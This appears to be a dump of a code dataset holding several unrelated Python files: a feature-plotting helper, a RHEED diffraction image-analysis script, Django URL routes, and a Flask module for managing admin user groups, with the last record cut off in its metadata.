fig_width: Width of the figure.\n fig_height: Height of the figure.\n title_fontsize: Title font size.\n legend_fontsize: Legend font size.\n xlabel_fontsize: X-axis label font size.\n ylabel_fontsize: Y-axis label font size.\n xticklabels_fontsize: X-axis tick label font size.\n yticklabels_fontsize: Y-axis tick label font size.\n\n Returns:\n all_plots: all the plots generated for the selected features.\n \"\"\"\n plot_style_params = _FeaturePlotStyles(\n fig_width=fig_width,\n fig_height=fig_height,\n title_fontsize=title_fontsize,\n legend_fontsize=legend_fontsize,\n xlabel_fontsize=xlabel_fontsize,\n ylabel_fontsize=ylabel_fontsize,\n xticklabels_fontsize=xticklabels_fontsize,\n yticklabels_fontsize=yticklabels_fontsize)\n\n numerical_feature_stats = self._calc_numerical_feature_stats()\n numerical_feature_sample = self._extract_numerical_feature_sample()\n categorical_feature_stats = self._calc_categorical_feature_stats()\n\n numerical_feature_stats.loc[:, 'snapshot_date'] = pd.to_datetime(\n numerical_feature_stats['snapshot_date']).dt.date.astype(str)\n categorical_feature_stats.loc[:, 'snapshot_date'] = pd.to_datetime(\n categorical_feature_stats['snapshot_date']).dt.date.astype(str)\n\n all_plots = []\n\n logging.info('Plotting numerical features.')\n for feature_name in self._numerical_feature_list:\n num_plot_data = numerical_feature_stats[numerical_feature_stats['feature']\n == feature_name]\n cols = [feature_name, 'label']\n num_plot_data_sample = numerical_feature_sample[cols]\n all_plots.append(\n _plot_numerical_feature(num_plot_data, num_plot_data_sample,\n feature_name, self._positive_class_label,\n self._negative_class_label,\n plot_style_params))\n\n logging.info('Plotting categorical features.')\n for feature_name in self._categorical_feature_list:\n cat_plot_data = categorical_feature_stats[\n categorical_feature_stats['feature'] == feature_name]\n all_plots.append(\n _plot_categorical_feature(cat_plot_data, feature_name,\n self._positive_class_label,\n self._negative_class_label,\n plot_style_params))\n\n return all_plots\n", "sub_path": "py/gps_building_blocks/ml/data_prep/data_visualizer/feature_visualizer.py", "file_name": "feature_visualizer.py", "file_ext": "py", "file_size_in_byte": 20444, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.get_absolute_path", "line_number": 48, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 48, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.get_absolute_path", "line_number": 52, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 52, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.get_absolute_path", "line_number": 56, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 60, "usage_type": "name"}, {"api_name": "warnings.filterwarnings", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 76, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 100, "usage_type": "attribute"}, {"api_name": "absl.logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 150, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.plot_line", "line_number": 165, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 165, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.plot_line", "line_number": 187, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.axes.Axes", "line_number": 102, "usage_type": "attribute"}, {"api_name": "matplotlib.axes", "line_number": 102, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 210, "usage_type": "attribute"}, {"api_name": "absl.logging.info", "line_number": 231, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.plot_bar", "line_number": 260, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 260, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.plot_bar", "line_number": 276, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 276, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.plot_bar", "line_number": 295, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 295, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.axes.Axes", "line_number": 212, "usage_type": "attribute"}, {"api_name": "matplotlib.axes", "line_number": 212, "usage_type": "name"}, {"api_name": "google.cloud.bigquery.client", "line_number": 317, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery", "line_number": 317, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 318, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 319, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 320, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 321, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 353, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 372, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 393, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 393, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 394, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 394, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.patch_sql", "line_number": 401, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 401, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 403, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 403, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 405, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 405, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.execute_sql", "line_number": 406, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 406, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 407, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 407, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 387, "usage_type": "attribute"}, {"api_name": "absl.logging.info", "line_number": 417, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 417, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 418, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 418, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.patch_sql", "line_number": 430, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 430, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 432, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 432, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 434, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 434, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.execute_sql", "line_number": 435, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 435, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 436, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 436, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 411, "usage_type": "attribute"}, {"api_name": "absl.logging.info", "line_number": 446, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 446, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 447, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 447, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.patch_sql", "line_number": 454, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 454, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 456, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 456, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 458, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 458, "usage_type": "name"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils.execute_sql", "line_number": 459, "usage_type": "call"}, {"api_name": "gps_building_blocks.ml.data_prep.data_visualizer.viz_utils", "line_number": 459, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 460, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 460, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 440, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 466, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 467, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 468, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 469, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 470, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 471, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 472, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 473, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 505, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 507, "usage_type": "call"}, {"api_name": "absl.logging.info", "line_number": 512, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 512, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 524, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 524, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 473, "usage_type": "name"}, {"api_name": "matplotlib.axes.Axes", "line_number": 473, "usage_type": "attribute"}, {"api_name": "matplotlib.axes", "line_number": 473, "usage_type": "name"}]} +{"seq_id": "329097132", "text": "from astropy.io import fits\nimport tkinter as tk\nimport tkinter.filedialog as askopenfilename\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.ndimage\nfrom scipy import signal\nfrom pylab import figtext\nfrom matplotlib.colors import LogNorm\n#import pyperclip\n\n\n#first we open file\nplt.ion()\nroot=tk.Tk()\nfig1=plt.figure(1,figsize=(10,10))\nfilename = tk.filedialog.askopenfilename(initialdir='/home/will/Documents/School/Data/A383/RHEED_A383/Growth')\nhdu_list = fits.open(filename)\nimage_data = hdu_list[0].data\nax1 = fig1.add_subplot(211)\nplt.imshow(image_data, cmap='gray', norm=LogNorm(), aspect='auto')\nplt.suptitle(str(filename[len(filename)-7:len(filename)-3]))\n\n\n\ncoords = []\n\ndef onclick(event):\n global ix, iy\n ix, iy = event.xdata, event.ydata\n\n\n global coords\n coords.append((ix, iy))\n\n if len(coords) == 2:\n fig1.canvas.mpl_disconnect(cid)\n print(coords)\n \n inc=10000\n d = (np.sqrt((np.abs(coords[0][0]-coords[1][0])**2)+(np.abs(coords[0][1]-coords[1][1])**2)))\n print (d)\n \n \n # to take euclidian change second entry to coords[1][1] not coords[0][1]\n y, x = np.linspace((coords[0][1]), (coords[1][1]), inc), np.linspace((coords[0][0]), (coords[1][0]), inc)\n\n# Zinoise includes background\n\n zinoise = scipy.ndimage.map_coordinates(image_data, np.vstack((y, x)))\n\n #zi removes some of the noise\n\n zi=zinoise[:]-np.min(zinoise)\n\n\n line = np.linspace(0,d, num=inc)\n # to plot euclidian line change last entry to coords[1][1] not coords[0][1]\n plt.plot([coords[0][0],coords[1][0]],[coords[0][1],coords[1][1]],'ro-')\n plt.plot([coords[0][0],coords[1][0]],[coords[0][1],coords[0][1]],'ro-')\n plt.plot(coords[0][0], coords[0][1], 'bo')\n\n plt.plot(coords[1][0], coords[1][1], 'bo')\n \n #Here we find the upper and lower max\n \n search1 = 0\n search2 = 5000\n search3 = 0\n search4 = np.floor(inc/2)\n \n Lmax=np.max(zi[search1:search2])\n Umax=np.max(zi[np.floor(inc//2)+search3:np.floor(inc/2)+search4])\n\n # Here we find the index of the lower max and upper max\n\n for Lmaxindex in range(search1, search2):\n if zi[Lmaxindex]==Lmax:\n break\n\n for Umaxindex in range(int(np.floor(search4+search3)), int(np.floor(search4+search4))):\n if zi[Umaxindex]==Umax:\n break\n \n # here we find the half max of each\n\n HLmax=np.floor(Lmax/2)\n HUmax=np.floor(Umax/2)\n\n #Here we find the residuals from the zi with noise removed and the half max for the lower peak and upper peak\n\n #Lres=zi[0:(inc/2)]-HLmax\n \n Lres=zi[0:inc/2]-HLmax\n Ures=zi[inc/2:inc]-HUmax\n \n \n \n #Ures=zi[inc/2:np.floor(inc)]-HUmax\n # Here we find the index of the smallest residual to the left of the lower peak\n\n # Want to be able to change the search values to specify range, eg. not search middle... doesn't work yet.\n\n \n\n for i in range(int(search1),int(Lmaxindex)):\n if np.abs(Lres[i])==np.min(np.abs(Lres[search1:Lmaxindex])):\n break\n #print ('i '+str(i))\n for j in range(int(Lmaxindex), int(search2)):\n if np.abs(Lres[j])==np.min(np.abs(Lres[Lmaxindex:search2])):\n break\n print ('j '+str(j))\n for k in range(int(search3),int(Umaxindex-inc/2)):\n if np.abs(Ures[k])==np.min(np.abs(Ures[search3:Umaxindex-np.floor(inc/2)])):\n print (k)\n break\n #print ('k '+str(k))\n for l in range(int(Umaxindex-np.floor(inc/2)),int(search4)):\n if np.abs(Ures[l])==np.min(np.abs(Ures[Umaxindex-inc/2:search4])):\n break\n print ('l '+str(l))\n \n Lpeakindex=(j+i)/2\n Upeakindex=(l+k)/2+inc/2\n theta=np.arctan((np.abs(coords[1][1]-coords[0][1]))/np.abs(coords[1][0]-coords[0][0]))\n thetadeg=theta*180/3.14159\n \n distance=np.abs(line[Lpeakindex]-line[Upeakindex])\n xdistance=distance*np.cos(theta)\n maxdistance=line[Lmaxindex]-line[Umaxindex]\n ax2 = fig1.add_subplot(212)\n plt.plot(line,zi)\n plt.plot(line[i], zi[i], 'bo')\n plt.plot(line[j], zi[j], 'bo')\n plt.plot(line[int(k+np.floor(inc/2))], zi[int(k+np.floor(inc/2))], 'bo')\n plt.plot(line[l + inc / 2], zi[l + inc / 2], 'bo')\n plt.plot(line[Lpeakindex], zi[Lpeakindex], 'ro')\n plt.plot(line[Upeakindex], zi[Upeakindex], 'ro')\n \n plt.plot(line[Lmaxindex],zi[Lmaxindex],'rx')\n plt.plot(line[Umaxindex],zi[Umaxindex],'rx')\n plt.axvline(line[search3 + inc/2], color='black', linestyle='--')\n plt.axvline(line[search4 + inc / 2 -2], color='black', linestyle='--')\n\n plt.axvline(line[search1], color='black', linestyle='--')\n plt.axvline(line[search2], color='black', linestyle='--')\n \n figtext(0, 0, '\\nLeft peak ' + str(line[Lpeakindex])+\" Left Max \"+str(line[Lmaxindex])+ '\\nright peak '+str(line[Upeakindex])+\" Right Max\"+str(line[Umaxindex])+'\\nDistance = '+str(distance)+' Max Distance '+str(maxdistance)+' X-Distance ' +str(xdistance))\n print('xdist '+str(xdistance))\n print('theta '+str(thetadeg))\n print(zi[:])\n print(Ures[:])\n # pyperclip.copy(str(distance))\ncid = fig1.canvas.mpl_connect('button_press_event', onclick)\nplt.show(block=True)\nroot.destroy()\n\n\nprint('works')\n\n\n", "sub_path": "RHEED_analysis_py3_Diag.py", "file_name": "RHEED_analysis_py3_Diag.py", "file_ext": "py", "file_size_in_byte": 5628, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.ion", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 17, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 17, "usage_type": "attribute"}, {"api_name": "astropy.io.fits.open", "line_number": 18, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.suptitle", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 46, "usage_type": "call"}, {"api_name": "scipy.ndimage.ndimage.map_coordinates", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.ndimage.ndimage", "line_number": 50, "usage_type": "attribute"}, {"api_name": "scipy.ndimage", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "pylab.figtext", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}]} +{"seq_id": "527015501", "text": "#coding:utf8\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^save/$',views.save_p,name='zp_save'),\n url(r'^da/$',views.da,name='zp_da'),\n url(r'^per/(\\d+)/$',views.per,name='zp_per'),\n url(r'^$',views.index,name='zp_index'),\n]", "sub_path": "vr/zp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 268, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "32261282", "text": "# coding:utf-8\nfrom flask import Flask, render_template, redirect, session, url_for, request, g, flash, abort, jsonify, make_response\nfrom flask_wtf import FlaskForm\nfrom wtforms import TextField, BooleanField, PasswordField, SubmitField, SelectField, HiddenField\nfrom wtforms.validators import Required, Email, Length\nfrom model import Group, and_, or_, desc, asc, func, db_session\nfrom manage import api\nfrom .public import *\nimport datetime\n\n\n# 添加用户组表单\nclass AddadminForm(FlaskForm):\n\tname = TextField('用户组名称', validators=[Required()],render_kw={\"placeholder\": \"用户组名称\",\"class\": \"form-control\"})\n\tpowerlist = SelectField('权限', coerce=int, choices = [ (1, '组长'), (2, '组员'), (3, '资讯组')],render_kw={\"class\": \"form-control\"})\n\tsubmit = SubmitField('添加',render_kw={\"class\": \"btn btn-primary\"})\n\n# 修改用户组表单\nclass EditadminForm(FlaskForm):\n\tgroup_id = HiddenField('group_id')\n\tname = TextField('用户组名称', validators=[Required()],render_kw={\"placeholder\": \"用户组名称\",\"class\": \"form-control\"})\n\tpowerlist = SelectField('权限', coerce=int, choices = [ (1, '组长'), (2, '组员'), (3, '资讯组')],render_kw={\"class\": \"form-control\"})\n\tsubmit = SubmitField('修改',render_kw={\"class\": \"btn btn-primary\"})\n\n\n# 管理员用户组列表\n@api.route('/manage_group', methods=['GET', 'POST'])\ndef manage_group():\n\tgrouplist = Group.query.all()\n\n\treturn render_template(\n\t\t\"manage_group.html\", \n\t\tpagename='manage_group', \n\t\tgrouplist=grouplist)\n\n# 添加用户组\n@api.route('/add_group', methods=['GET', 'POST'])\ndef add_group():\n\tform = AddadminForm()\n\tif form.validate_on_submit():\n\t\tname = request.form.get('name')\n\t\tpowerlist = request.form.get('powerlist')\n\t\tgroup = Group(name=name, power=powerlist, addtime=datetime.datetime.now())\n\t\tgroup_check = db_session.query(Group).filter(Group.name == name).first()\n\t\tif group_check:\n\t\t\tflash('用户组已存在')\n\t\t\treturn redirect('/manage/add_group')\n\t\tif len(name) and len(powerlist):\n\t\t\ttry:\n\t\t\t\tdb_session.add(group)\n\t\t\t\tdb_session.commit()\n\t\t\t\tdb_session.close()\n\t\t\texcept:\n\t\t\t\tflash(\"数据库错误!\")\n\t\t\t\treturn redirect('/manage/add_group')\n\n\t\t\tflash(\"添加成功,3秒后自动跳转管理页。\")\n\t\t\treturn redirect('/manage/add_group')\n\treturn render_template(\n\t\t\"add_group.html\", \n\t\tpagename='manage_group', \n\t\tform=form)\n\n# 修改用户组\n@api.route('/edit_group', methods=['GET', 'POST'])\n@api.route('/edit_group/', methods=['GET', 'POST'])\ndef edit_group():\n\tgetid = request.args.get('group_id')\n\tgroupData = db_session.query(Group).filter(Group.group_id == getid).\\\n\t\twith_entities(Group.name, Group.power, Group.group_id).first()\n\tform = EditadminForm()\n\tif groupData:\n\t\tform.group_id.data = groupData.group_id\n\t\tform.name.data = groupData.name\n\t\tform.powerlist.data = groupData.power\n\t\n\tdb_session.close()\n\tif form.validate_on_submit():\n\t\tgroup_id = request.form.get('group_id')\n\t\tname = request.form.get('name')\n\t\tpowerlist = request.form.get('powerlist')\n\t\tgroup = Group(name=name, power=powerlist)\n\t\tdb_session.query(Group).filter(Group.group_id == group_id).update(\n\t\t\t{\n\t\t\t\tGroup.name : name,\n\t\t\t\tGroup.power : powerlist\n\t\t\t})\n\t\tdb_session.commit()\n\t\tdb_session.close()\n\n\t\tflash(\"修改成功,3秒后自动跳转管理页。\")\n\t\treturn redirect('/manage/edit_group')\n\treturn render_template(\n\t\t\"edit_group.html\", \n\t\tpagename='manage_group', \n\t\tform=form)\n\n# 删除用户组\n@api.route('/del_group', methods=['GET', 'POST'])\n@login_required\ndef del_group():\n\tgetid = int(request.args.get('group_id'))\n\tdelg = db_session.query(Group).filter(Group.group_id == getid).first();\n\tdb_session.delete(delg)\n\tdb_session.commit()\n\tdb_session.close()\n\treturn jsonify({\"state\":\"ok\"})", "sub_path": "manage/admin_group.py", "file_name": "admin_group.py", "file_ext": "py", "file_size_in_byte": 3768, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask_wtf.FlaskForm", "line_number": 13, "usage_type": "name"}, {"api_name": "wtforms.TextField", "line_number": 14, "usage_type": "call"}, {"api_name": "wtforms.validators.Required", "line_number": 14, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 15, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 19, "usage_type": "name"}, {"api_name": "wtforms.HiddenField", "line_number": 20, "usage_type": "call"}, {"api_name": "wtforms.TextField", "line_number": 21, "usage_type": "call"}, {"api_name": "wtforms.validators.Required", "line_number": 21, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 22, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 23, "usage_type": "call"}, {"api_name": "model.Group.query.all", "line_number": 29, "usage_type": "call"}, {"api_name": "model.Group.query", "line_number": 29, "usage_type": "attribute"}, {"api_name": "model.Group", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}, {"api_name": "manage.api.route", "line_number": 27, "usage_type": "call"}, {"api_name": "manage.api", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "model.Group", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "attribute"}, {"api_name": "model.db_session.query", "line_number": 44, "usage_type": "call"}, {"api_name": "model.Group", "line_number": 44, "usage_type": "argument"}, {"api_name": "model.db_session", "line_number": 44, "usage_type": "name"}, {"api_name": "model.Group.name", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.flash", "line_number": 46, 